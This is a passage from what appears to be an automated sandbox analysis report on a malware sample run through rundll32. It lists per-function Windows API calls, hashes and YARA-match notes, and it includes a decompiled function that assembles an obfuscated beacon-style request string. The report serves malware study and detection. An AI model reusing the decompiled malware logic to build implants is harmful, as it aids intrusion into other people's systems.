                          • _aulldiv.NTDLL(?,?,?,?), ref: 04CCF27F
                          • wsprintfA.USER32 ref: 04CCF295
                          • wsprintfA.USER32 ref: 04CCF2AF
                          • wsprintfA.USER32 ref: 04CCF2D4
                          • HeapFree.KERNEL32(00000000,?), ref: 04CCF2E7
                          • wsprintfA.USER32 ref: 04CCF30B
                          • HeapFree.KERNEL32(00000000,?), ref: 04CCF31E
                          • wsprintfA.USER32 ref: 04CCF358
                          • wsprintfA.USER32 ref: 04CCF37C
                          • lstrcat.KERNEL32(?,?), ref: 04CCF3B4
                          • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04CCF3CE
                          • GetTickCount.KERNEL32 ref: 04CCF3DE
                          • RtlEnterCriticalSection.NTDLL(060DC2D0), ref: 04CCF3F2
                          • RtlLeaveCriticalSection.NTDLL(060DC2D0), ref: 04CCF410
                          • StrTrimA.SHLWAPI(00000000,04CD53E8,00000000,060DC310), ref: 04CCF449
                          • lstrcpy.KERNEL32(00000000,?), ref: 04CCF46B
                          • lstrcpy.KERNEL32(00000000,00000000), ref: 04CCF472
                          • lstrcat.KERNEL32(00000000,?), ref: 04CCF479
                          • lstrcat.KERNEL32(00000000,?), ref: 04CCF480
                          • HeapFree.KERNEL32(00000000,?,00000000,?,?,?,?,00000000), ref: 04CCF4FA
                          • HeapFree.KERNEL32(00000000,?,00000000), ref: 04CCF50C
                          • HeapFree.KERNEL32(00000000,00000000,00000000,060DC310), ref: 04CCF51B
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CCF52D
                          • HeapFree.KERNEL32(00000000,?), ref: 04CCF53F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Freewsprintf$lstrcat$AllocateCountCriticalPerformanceQuerySectionTicklstrcpy$CounterEnterFrequencyLeaveTrim_aulldiv
                          • String ID:
                          • API String ID: 4198993012-0
                          • Opcode ID: c9047d03d380b85a713bf3749b6be32822e4722860c12027a336b00bca371543
                          • Instruction ID: f83999dcebed3ff8e833571c0bbe5974a69a595be96a7265d982a8ded4d3de7c
                          • Opcode Fuzzy Hash: c9047d03d380b85a713bf3749b6be32822e4722860c12027a336b00bca371543
                          • Instruction Fuzzy Hash: DDA16979501205AFDB01DF68EC84F5A7BEAEF48304F044429FA09C62A1E73AFD59DB91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC7AEF Relevance: 37.1, APIs: 15, Strings: 6, Instructions: 389memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(?,00000000,?,?), ref: 04CC7B51
                          • RtlAllocateHeap.NTDLL(00000000,?,?), ref: 04CC7BED
                          • lstrcpyn.KERNEL32(00000000,?,?), ref: 04CC7C02
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CC7C1D
                          • StrChrA.SHLWAPI(?,00000020,00000000,?,?,?), ref: 04CC7D04
                          • StrChrA.SHLWAPI(00000001,00000020), ref: 04CC7D15
                          • lstrlen.KERNEL32(00000000), ref: 04CC7D29
                          • memmove.NTDLL(?,?,00000001), ref: 04CC7D39
                          • lstrlen.KERNEL32(?,00000000,?,?,?), ref: 04CC7D65
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CC7D8B
                          • memcpy.NTDLL(00000000,?,?), ref: 04CC7D9F
                          • memcpy.NTDLL(?,?,?), ref: 04CC7DBF
                          • HeapFree.KERNEL32(00000000,?), ref: 04CC7DFB
                          • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 04CC7EC1
                          • HeapFree.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000001,00000001), ref: 04CC7F09
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateFreelstrlen$memcpy$lstrcpynmemmove
                          • String ID: GET $GET $OPTI$OPTI$POST$PUT
                          • API String ID: 3227826163-647159250
                          • Opcode ID: 01dfa76bf764fb0ee49e556a6a64c88dfbb9ea3ca70af453f37f0f83779e4427
                          • Instruction ID: e4cd247f2afeeef3a6f29b6c47ec8bc554dfb9bed1693250ce404fb0d259cf05
                          • Opcode Fuzzy Hash: 01dfa76bf764fb0ee49e556a6a64c88dfbb9ea3ca70af453f37f0f83779e4427
                          • Instruction Fuzzy Hash: 0BE15675A01206EFDB15DFA8C888BAABBBAFF04300F148559E915AB250D734FE51DF90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBE627 Relevance: 36.3, APIs: 24, Instructions: 288memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • RtlAllocateHeap.NTDLL ref: 04CBE65B
                          • wsprintfA.USER32 ref: 04CBE6C5
                          • wsprintfA.USER32 ref: 04CBE70B
                          • wsprintfA.USER32 ref: 04CBE72C
                          • lstrcat.KERNEL32(00000000,?), ref: 04CBE763
                          • wsprintfA.USER32 ref: 04CBE784
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CBE79E
                          • wsprintfA.USER32 ref: 04CBE7C5
                          • HeapFree.KERNEL32(00000000,?), ref: 04CBE7DA
                          • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04CBE7F4
                          • RtlEnterCriticalSection.NTDLL(060DC2D0), ref: 04CBE815
                          • RtlLeaveCriticalSection.NTDLL(060DC2D0), ref: 04CBE82F
                            • Part of subcall function 04CCEA15: lstrlen.KERNEL32(00000000,761F81D0,?,761B5520,7749EEF0,?,00000000,04CBE842,00000000,060DC310), ref: 04CCEA40
                            • Part of subcall function 04CCEA15: lstrlen.KERNEL32(?,?,00000000,04CBE842,00000000,060DC310), ref: 04CCEA48
                            • Part of subcall function 04CCEA15: strcpy.NTDLL ref: 04CCEA5F
                            • Part of subcall function 04CCEA15: lstrcat.KERNEL32(00000000,?), ref: 04CCEA6A
                            • Part of subcall function 04CCEA15: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,?,?,00000000,04CBE842,00000000,060DC310), ref: 04CCEA87
                          • StrTrimA.SHLWAPI(00000000,04CD53E8,00000000,060DC310), ref: 04CBE864
                            • Part of subcall function 04CB8DC7: lstrlen.KERNEL32(060D8560,761B5520,761F81D0,7749EEF0,04CBE873,?), ref: 04CB8DD7
                            • Part of subcall function 04CB8DC7: lstrlen.KERNEL32(?), ref: 04CB8DDF
                            • Part of subcall function 04CB8DC7: lstrcpy.KERNEL32(00000000,060D8560), ref: 04CB8DF3
                            • Part of subcall function 04CB8DC7: lstrcat.KERNEL32(00000000,?), ref: 04CB8DFE
                          • lstrcpy.KERNEL32(?,?), ref: 04CBE88D
                          • lstrcpy.KERNEL32(00000000,00000000), ref: 04CBE897
                          • lstrcat.KERNEL32(00000000,?), ref: 04CBE8A2
                          • lstrcat.KERNEL32(00000000,?), ref: 04CBE8A9
                          • RtlEnterCriticalSection.NTDLL(060DC2D0), ref: 04CBE8B4
                          • RtlLeaveCriticalSection.NTDLL(060DC2D0), ref: 04CBE8D0
                            • Part of subcall function 04CB7DF5: memcpy.NTDLL(?,?,00000010,?,?,?,?,?,?,?,?,?,?,04CC5583,00000000,00000000), ref: 04CB7E46
                            • Part of subcall function 04CB7DF5: memcpy.NTDLL(00000000,00000000,?,0000011F), ref: 04CB7ED9
                          • HeapFree.KERNEL32(00000000,?,00000001,060DC310,?,?,?), ref: 04CBE997
                          • HeapFree.KERNEL32(00000000,?,?), ref: 04CBE9AF
                          • HeapFree.KERNEL32(00000000,?,00000000,060DC310), ref: 04CBE9BD
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CBE9CB
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CBE9D6
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Free$lstrcatwsprintf$CriticalSectionlstrlen$lstrcpy$AllocateEnterLeaveTrimmemcpy$strcpy
                          • String ID:
                          • API String ID: 4032678529-0
                          • Opcode ID: b3ce03d21671e0f4ec730b7d73887067470454d62899dcf5455ae172904a2ef7
                          • Instruction ID: 40b2aab678af5939c318a55e4e455ff7ffda26f5cdcdc004f608f2317b0cc627
                          • Opcode Fuzzy Hash: b3ce03d21671e0f4ec730b7d73887067470454d62899dcf5455ae172904a2ef7
                          • Instruction Fuzzy Hash: 82B14579605201AFDB01DF68EC84F9A7BEAEB88704F044429F649D7260D73AFD09DB91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C7300E Relevance: 36.3, APIs: 24, Instructions: 266memorystringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 75%
                          			E04C7300E(long __eax, intOrPtr _a4, void* _a8, void* _a16, void* _a20, void* _a24, intOrPtr _a32, void* _a40, intOrPtr _a44) {
				intOrPtr _v4;
				signed int _v8;
				int* _v12;
				char* _v16;
				intOrPtr _v20;
				void* _v24;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _v40;
				void* __ebx;
				void* __edi;
				long _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t70;
				intOrPtr _t71;
				void* _t74;
				intOrPtr _t75;
				int _t78;
				intOrPtr _t79;
				int _t82;
				intOrPtr _t83;
				intOrPtr _t84;
				void* _t86;
				void* _t89;
				intOrPtr _t93;
				intOrPtr _t97;
				intOrPtr* _t99;
				int* _t105;
				int* _t115;
				char** _t117;
				char* _t118;
				intOrPtr* _t123;
				intOrPtr* _t125;
				intOrPtr* _t127;
				intOrPtr* _t129;
				intOrPtr _t132;
				intOrPtr _t136;
				int _t139;
				intOrPtr _t141;
				int _t144;
				void* _t145;
				intOrPtr _t159;
				void* _t161;
				int _t162;
				void* _t163;
				void* _t164;
				long _t165;
				intOrPtr* _t166;
				intOrPtr* _t167;
				intOrPtr _t168;
				intOrPtr* _t171;
				char** _t174;
				char** _t176;
				char** _t177;
				void* _t182;

				_t66 = __eax;
				_t174 =  &_v16;
				_t145 = _a20;
				_a20 = 8;
				if(__eax == 0) {
					_t66 = GetTickCount();
				}
				_t67 =  *0x4c7a018; // 0xad359284
				asm("bswap eax");
				_t68 =  *0x4c7a014; // 0x3a87c8cd
				asm("bswap eax");
				_t69 =  *0x4c7a010; // 0xd8d2f808
				asm("bswap eax");
				_t70 =  *0x4c7a00c; // 0xeec43f25
				asm("bswap eax");
				_t71 =  *0x4c7a348; // 0x5cd5a8
				_t3 = _t71 + 0x4c7b62b; // 0x74666f73
				_t162 = wsprintfA(_t145, _t3, 3, 0x3d175, _t70, _t69, _t68, _t67,  *0x4c7a02c,  *0x4c7a004, _t66);
				_t74 = E04C76927();
				_t75 =  *0x4c7a348; // 0x5cd5a8
				_t4 = _t75 + 0x4c7b66b; // 0x74707526
				_t78 = wsprintfA(_t162 + _t145, _t4, _t74);
				_t176 =  &(_t174[0xe]);
				_t163 = _t162 + _t78;
				if(_a24 != 0) {
					_t141 =  *0x4c7a348; // 0x5cd5a8
					_t8 = _t141 + 0x4c7b676; // 0x732526
					_t144 = wsprintfA(_t163 + _t145, _t8, _a24);
					_t176 =  &(_t176[3]);
					_t163 = _t163 + _t144;
				}
				_t79 =  *0x4c7a348; // 0x5cd5a8
				_t10 = _t79 + 0x4c7b78e; // 0x5248d36
				_t182 = _a20 - _t10;
				_t12 = _t79 + 0x4c7b2de; // 0x74636126
				_t157 = 0 | _t182 == 0x00000000;
				_t82 = wsprintfA(_t163 + _t145, _t12, _t182 == 0);
				_t177 =  &(_t176[3]);
				_t164 = _t163 + _t82;
				_t83 = E04C722D7(_t10);
				_a32 = _t83;
				if(_t83 != 0) {
					_t136 =  *0x4c7a348; // 0x5cd5a8
					_t17 = _t136 + 0x4c7b8d0; // 0x736e6426
					_t139 = wsprintfA(_t164 + _t145, _t17, _t83);
					_t177 =  &(_t177[3]);
					_t164 = _t164 + _t139;
					HeapFree( *0x4c7a2d8, 0, _a40);
				}
				_t84 = E04C72A11();
				_a32 = _t84;
				if(_t84 != 0) {
					_t132 =  *0x4c7a348; // 0x5cd5a8
					_t21 = _t132 + 0x4c7b8d8; // 0x6f687726
					wsprintfA(_t164 + _t145, _t21, _t84);
					_t177 =  &(_t177[3]);
					HeapFree( *0x4c7a2d8, 0, _a40);
				}
				_t159 =  *0x4c7a3cc; // 0x52495b0
				_t86 = E04C72509(0x4c7a00a, _t159 + 4);
				_t165 = 0;
				_a16 = _t86;
				if(_t86 == 0) {
					L28:
					HeapFree( *0x4c7a2d8, _t165, _t145);
					return _a44;
				} else {
					_t89 = RtlAllocateHeap( *0x4c7a2d8, 0, 0x800);
					_a24 = _t89;
					if(_t89 == 0) {
						L27:
						HeapFree( *0x4c7a2d8, _t165, _a8);
						goto L28;
					}
					E04C71BE9(GetTickCount());
					_t93 =  *0x4c7a3cc; // 0x52495b0
					__imp__(_t93 + 0x40);
					asm("lock xadd [eax], ecx");
					_t97 =  *0x4c7a3cc; // 0x52495b0
					__imp__(_t97 + 0x40);
					_t99 =  *0x4c7a3cc; // 0x52495b0
					_t161 = E04C71D33(1, _t157, _t145,  *_t99);
					asm("lock xadd [eax], ecx");
					if(_t161 == 0) {
						L26:
						HeapFree( *0x4c7a2d8, _t165, _a16);
						goto L27;
					}
					StrTrimA(_t161, 0x4c7928c);
					_push(_t161);
					_t105 = E04C7393C();
					_v12 = _t105;
					if(_t105 == 0) {
						L25:
						HeapFree( *0x4c7a2d8, _t165, _t161);
						goto L26;
					}
					_t166 = __imp__;
					 *_t166(_t161, _a8);
					 *_t166(_a4, _v12);
					_t167 = __imp__;
					 *_t167(_v4, _v24);
					_t168 = E04C761FC( *_t167(_v12, _t161), _v20);
					_v36 = _t168;
					if(_t168 == 0) {
						_v8 = 8;
						L23:
						E04C7561E();
						L24:
						HeapFree( *0x4c7a2d8, 0, _v40);
						_t165 = 0;
						goto L25;
					}
					_t115 = E04C710B7(_t145, 0xffffffffffffffff, _t161,  &_v24);
					_v12 = _t115;
					if(_t115 == 0) {
						_t171 = _v24;
						_v20 = E04C75B9D(_t171, _t168, _v16, _v12);
						_t123 =  *((intOrPtr*)(_t171 + 8));
						 *((intOrPtr*)( *_t123 + 0x80))(_t123);
						_t125 =  *((intOrPtr*)(_t171 + 8));
						 *((intOrPtr*)( *_t125 + 8))(_t125);
						_t127 =  *((intOrPtr*)(_t171 + 4));
						 *((intOrPtr*)( *_t127 + 8))(_t127);
						_t129 =  *_t171;
						 *((intOrPtr*)( *_t129 + 8))(_t129);
						E04C76C2C(_t171);
					}
					if(_v8 != 0x10d2) {
						L18:
						if(_v8 == 0) {
							_t117 = _v16;
							if(_t117 != 0) {
								_t118 =  *_t117;
								_t169 =  *_v12;
								_v16 = _t118;
								wcstombs(_t118, _t118,  *_v12);
								 *_v24 = E04C73C22(_v16, _v16, _t169 >> 1);
							}
						}
						goto L21;
					} else {
						if(_v16 != 0) {
							L21:
							E04C76C2C(_v32);
							if(_v12 == 0 || _v8 == 0x10d2) {
								goto L24;
							} else {
								goto L23;
							}
						}
						_v8 = _v8 & 0x00000000;
						goto L18;
					}
				}
			}




























































                          0x04c7300e
                          0x04c7300e
                          0x04c73012
                          0x04c73019
                          0x04c73023
                          0x04c73025
                          0x04c73025
                          0x04c73032
                          0x04c7303d
                          0x04c73040
                          0x04c7304b
                          0x04c7304e
                          0x04c73053
                          0x04c73056
                          0x04c7305b
                          0x04c7305e
                          0x04c7306a
                          0x04c73077
                          0x04c73079
                          0x04c7307f
                          0x04c73084
                          0x04c7308f
                          0x04c73091
                          0x04c73094
                          0x04c7309b
                          0x04c7309d
                          0x04c730a6
                          0x04c730b1
                          0x04c730b3
                          0x04c730b6
                          0x04c730b6
                          0x04c730b8
                          0x04c730bd
                          0x04c730c5
                          0x04c730c9
                          0x04c730cf
                          0x04c730d8
                          0x04c730da
                          0x04c730dd
                          0x04c730df
                          0x04c730ea
                          0x04c730f0
                          0x04c730f3
                          0x04c730f8
                          0x04c73103
                          0x04c73105
                          0x04c7310c
                          0x04c73116
                          0x04c73116
                          0x04c73118
                          0x04c7311d
                          0x04c73123
                          0x04c73126
                          0x04c7312b
                          0x04c73135
                          0x04c73137
                          0x04c73146
                          0x04c73146
                          0x04c73148
                          0x04c73156
                          0x04c7315b
                          0x04c7315d
                          0x04c73163
                          0x04c73343
                          0x04c7334b
                          0x04c73358
                          0x04c73169
                          0x04c73175
                          0x04c7317b
                          0x04c73181
                          0x04c73336
                          0x04c73341
                          0x00000000
                          0x04c73341
                          0x04c7318d
                          0x04c73192
                          0x04c7319b
                          0x04c731ac
                          0x04c731b0
                          0x04c731b9
                          0x04c731bf
                          0x04c731cc
                          0x04c731d9
                          0x04c731df
                          0x04c73329
                          0x04c73334
                          0x00000000
                          0x04c73334
                          0x04c731eb
                          0x04c731f1
                          0x04c731f2
                          0x04c731f7
                          0x04c731fd
                          0x04c7331f
                          0x04c73327
                          0x00000000
                          0x04c73327
                          0x04c73207
                          0x04c7320e
                          0x04c73218
                          0x04c7321e
                          0x04c73228
                          0x04c7323a
                          0x04c7323c
                          0x04c73242
                          0x04c7335b
                          0x04c7330a
                          0x04c7330a
                          0x04c7330f
                          0x04c7331b
                          0x04c7331d
                          0x00000000
                          0x04c7331d
                          0x04c7324d
                          0x04c73252
                          0x04c73258
                          0x04c73263
                          0x04c7326e
                          0x04c73272
                          0x04c73278
                          0x04c7327e
                          0x04c73284
                          0x04c73287
                          0x04c7328d
                          0x04c73290
                          0x04c73295
                          0x04c73299
                          0x04c73299
                          0x04c732a6
                          0x04c732b4
                          0x04c732b9
                          0x04c732bb
                          0x04c732c1
                          0x04c732c7
                          0x04c732c9
                          0x04c732ce
                          0x04c732d2
                          0x04c732ee
                          0x04c732ee
                          0x04c732c1
                          0x00000000
                          0x04c732a8
                          0x04c732ad
                          0x04c732f0
                          0x04c732f4
                          0x04c732fe
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c732fe
                          0x04c732af
                          0x00000000
                          0x04c732af
                          0x04c732a6

                          APIs
                          • GetTickCount.KERNEL32 ref: 04C73025
                          • wsprintfA.USER32 ref: 04C73072
                          • wsprintfA.USER32 ref: 04C7308F
                          • wsprintfA.USER32 ref: 04C730B1
                          • wsprintfA.USER32 ref: 04C730D8
                          • wsprintfA.USER32 ref: 04C73103
                          • HeapFree.KERNEL32(00000000,?), ref: 04C73116
                          • wsprintfA.USER32 ref: 04C73135
                          • HeapFree.KERNEL32(00000000,?), ref: 04C73146
                          • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04C73175
                          • GetTickCount.KERNEL32 ref: 04C73187
                          • RtlEnterCriticalSection.NTDLL(05249570), ref: 04C7319B
                          • RtlLeaveCriticalSection.NTDLL(05249570), ref: 04C731B9
                            • Part of subcall function 04C71D33: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,746BC740,04C758D7,00000000,052495B0), ref: 04C71D5E
                            • Part of subcall function 04C71D33: lstrlen.KERNEL32(00000000,?,746BC740,04C758D7,00000000,052495B0), ref: 04C71D66
                            • Part of subcall function 04C71D33: strcpy.NTDLL ref: 04C71D7D
                            • Part of subcall function 04C71D33: lstrcat.KERNEL32(00000000,00000000), ref: 04C71D88
                            • Part of subcall function 04C71D33: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,04C758D7,?,746BC740,04C758D7,00000000,052495B0), ref: 04C71DA5
                          • StrTrimA.SHLWAPI(00000000,04C7928C,?,052495B0), ref: 04C731EB
                            • Part of subcall function 04C7393C: lstrlen.KERNEL32(05249B68,00000000,00000000,00000000,04C75902,00000000), ref: 04C7394C
                            • Part of subcall function 04C7393C: lstrlen.KERNEL32(?), ref: 04C73954
                            • Part of subcall function 04C7393C: lstrcpy.KERNEL32(00000000,05249B68), ref: 04C73968
                            • Part of subcall function 04C7393C: lstrcat.KERNEL32(00000000,?), ref: 04C73973
                          • lstrcpy.KERNEL32(00000000,?), ref: 04C7320E
                          • lstrcpy.KERNEL32(?,?), ref: 04C73218
                          • lstrcat.KERNEL32(?,?), ref: 04C73228
                          • lstrcat.KERNEL32(?,00000000), ref: 04C7322F
                            • Part of subcall function 04C761FC: lstrlen.KERNEL32(?,00000000,05249D70,00000000,04C739E8,05249F93,69B25F44,?,?,?,?,69B25F44,00000005,04C7A00C,4D283A53,?), ref: 04C76203
                            • Part of subcall function 04C761FC: mbstowcs.NTDLL ref: 04C7622C
                            • Part of subcall function 04C761FC: memset.NTDLL ref: 04C7623E
                          • wcstombs.NTDLL ref: 04C732D2
                            • Part of subcall function 04C75B9D: SysAllocString.OLEAUT32(?), ref: 04C75BD8
                            • Part of subcall function 04C76C2C: RtlFreeHeap.NTDLL(00000000,00000000,04C75E1D,00000000,?,?,00000000), ref: 04C76C38
                          • HeapFree.KERNEL32(00000000,?), ref: 04C7331B
                          • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04C73327
                          • HeapFree.KERNEL32(00000000,?,?,052495B0), ref: 04C73334
                          • HeapFree.KERNEL32(00000000,?), ref: 04C73341
                          • HeapFree.KERNEL32(00000000,?), ref: 04C7334B
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Heap$Free$wsprintf$lstrlen$lstrcat$lstrcpy$CountCriticalSectionTickTrim$AllocAllocateEnterLeaveStringmbstowcsmemsetstrcpywcstombs
                          • String ID:
                          • API String ID: 967369141-0
                          • Opcode ID: f60ebf35b025176f46141ff212e5af96962216ff8112b4c538f78a7477e053c7
                          • Instruction ID: 7f6a9f4a0780d76ccde45ddeb1eab6a5cd94a539d0c7e6ab2db76854a0a0e00d
                          • Opcode Fuzzy Hash: f60ebf35b025176f46141ff212e5af96962216ff8112b4c538f78a7477e053c7
                          • Instruction Fuzzy Hash: 03A1AB75500200AFD711AF64DC88E6E7BE9EF88754F040828F949D7220DB3AED45EB61
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCCEB7 Relevance: 30.0, APIs: 16, Strings: 1, Instructions: 219memoryfilestringCOMMON
                          Download Yara Rule
                          APIs
                          • GetLastError.KERNEL32 ref: 04CCCED3
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CCCEEF
                          • GetLastError.KERNEL32 ref: 04CCCF3E
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CCCF54
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CCCF68
                          • GetLastError.KERNEL32 ref: 04CCCF82
                          • GetLastError.KERNEL32 ref: 04CCCFB5
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CCCFD3
                          • lstrlenW.KERNEL32(00000000,?), ref: 04CCCFFF
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CCD014
                          • DeleteFileW.KERNEL32(?,00000000,?,?,00000000,00000000,00000001), ref: 04CCD0E8
                          • HeapFree.KERNEL32(00000000,?), ref: 04CCD0F7
                          • WaitForSingleObject.KERNEL32(00000000), ref: 04CCD10C
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CCD11F
                          • HeapFree.KERNEL32(00000000,?), ref: 04CCD131
                          • RtlExitUserThread.NTDLL(?,?), ref: 04CCD146
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Free$ErrorLast$Allocate$DeleteExitFileObjectSingleThreadUserWaitlstrlen
                          • String ID:
                          • API String ID: 3853681310-3916222277
                          • Opcode ID: 3773800587827c69efbc898547fe24fef6eab0a5f8ae865223b01ee88cc2c5cc
                          • Instruction ID: af45b584c9641b917a5aaccc51354764b9be037a6391d486b6218fe87bcb9d77
                          • Opcode Fuzzy Hash: 3773800587827c69efbc898547fe24fef6eab0a5f8ae865223b01ee88cc2c5cc
                          • Instruction Fuzzy Hash: DA812CB9901209FFDB109FA4DC88EAE7BB9EB09304F04446AF606D7250D779AE45DB60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB2C62 Relevance: 27.3, APIs: 18, Instructions: 275memorystringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CD1ECA: RegQueryValueExA.KERNEL32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F02
                            • Part of subcall function 04CD1ECA: RtlAllocateHeap.NTDLL(00000000,?), ref: 04CD1F16
                            • Part of subcall function 04CD1ECA: RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?), ref: 04CD1F30
                            • Part of subcall function 04CD1ECA: RegCloseKey.KERNEL32(?,?,00000000,?,?,00000000,?,?,?,04CB2C89,?,?,?), ref: 04CD1F5A
                          • HeapFree.KERNEL32(00000000,?,?,?,?), ref: 04CB2CA9
                          • RtlAllocateHeap.NTDLL(00000000,00010000,?), ref: 04CB2CC7
                          • HeapFree.KERNEL32(00000000,00000000,00000029,00000000,00000000,?), ref: 04CB2CF3
                          • HeapFree.KERNEL32(00000000,00000000,0000002A,00000000,00000000,00000000,00000000,?,00000000,?,?,?), ref: 04CB2D62
                          • RtlAllocateHeap.NTDLL(00000000,00000400,?), ref: 04CB2DDA
                          • wsprintfA.USER32 ref: 04CB2DF6
                          • lstrlen.KERNEL32(00000000,00000000), ref: 04CB2E01
                          • HeapFree.KERNEL32(00000000,00000000,0000001C,00000000,00000000), ref: 04CB2E18
                          • RtlAllocateHeap.NTDLL(00000000,00000400,?), ref: 04CB2EA4
                          • wsprintfA.USER32 ref: 04CB2EBF
                          • lstrlen.KERNEL32(00000000,00000000), ref: 04CB2ECA
                          • HeapFree.KERNEL32(00000000,00000000,0000001C,00000000,00000000), ref: 04CB2EE1
                          • HeapFree.KERNEL32(00000000,?,?,?,00000008,0000000B,?,?,?,00000001,00000000,?,00000000,?,?,?), ref: 04CB2F03
                          • RtlAllocateHeap.NTDLL(00000000,00000400,?), ref: 04CB2F1E
                          • wsprintfA.USER32 ref: 04CB2F35
                          • lstrlen.KERNEL32(00000000,00000000), ref: 04CB2F40
                            • Part of subcall function 04CB3172: lstrlen.KERNEL32(04CB43C6,00000000,?,?,?,?,04CB43C6,00000035,00000000,?,00000000), ref: 04CB31A2
                            • Part of subcall function 04CB3172: RtlAllocateHeap.NTDLL(00000000,00000000,00000000), ref: 04CB31B8
                            • Part of subcall function 04CB3172: memcpy.NTDLL(00000010,04CB43C6,00000000,?,?,04CB43C6,00000035,00000000), ref: 04CB31EE
                            • Part of subcall function 04CB3172: memcpy.NTDLL(00000010,00000000,00000035,?,?,04CB43C6,00000035), ref: 04CB3209
                            • Part of subcall function 04CB3172: CallNamedPipeA.KERNEL32(00000000,00000000,?,00000010,00000028,00000001), ref: 04CB3227
                            • Part of subcall function 04CB3172: GetLastError.KERNEL32(?,?,04CB43C6,00000035), ref: 04CB3231
                            • Part of subcall function 04CB3172: HeapFree.KERNEL32(00000000,00000000,?,?,04CB43C6,00000035), ref: 04CB3254
                          • HeapFree.KERNEL32(00000000,00000000,0000001C,00000000,00000000), ref: 04CB2F57
                          • HeapFree.KERNEL32(00000000,?,0000001D,00000008,?,060D8A20), ref: 04CB2F83
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Free$Allocate$lstrlen$wsprintf$QueryValuememcpy$CallCloseErrorLastNamedPipe
                          • String ID:
                          • API String ID: 3130754786-0
                          • Opcode ID: 1ff9e005e090b46d39dd95392d841b40085e6a7026b8b0468dce5816bfa949e4
                          • Instruction ID: cdbc5d89ac5ab860788d37fa01bd2b52caedfe3d3bdc7a589a24b37b4bcc25bd
                          • Opcode Fuzzy Hash: 1ff9e005e090b46d39dd95392d841b40085e6a7026b8b0468dce5816bfa949e4
                          • Instruction Fuzzy Hash: 55A19FB9901109FFEB119FA5CC88EEEBBBAFB08305F004469E545A3250D7397E45DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC1195 Relevance: 24.3, APIs: 16, Instructions: 258memorystringfileCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlenW.KERNEL32(?), ref: 04CC11AA
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(?,00000000,00000001,?,00000250,?,00000000), ref: 04CCBB1D
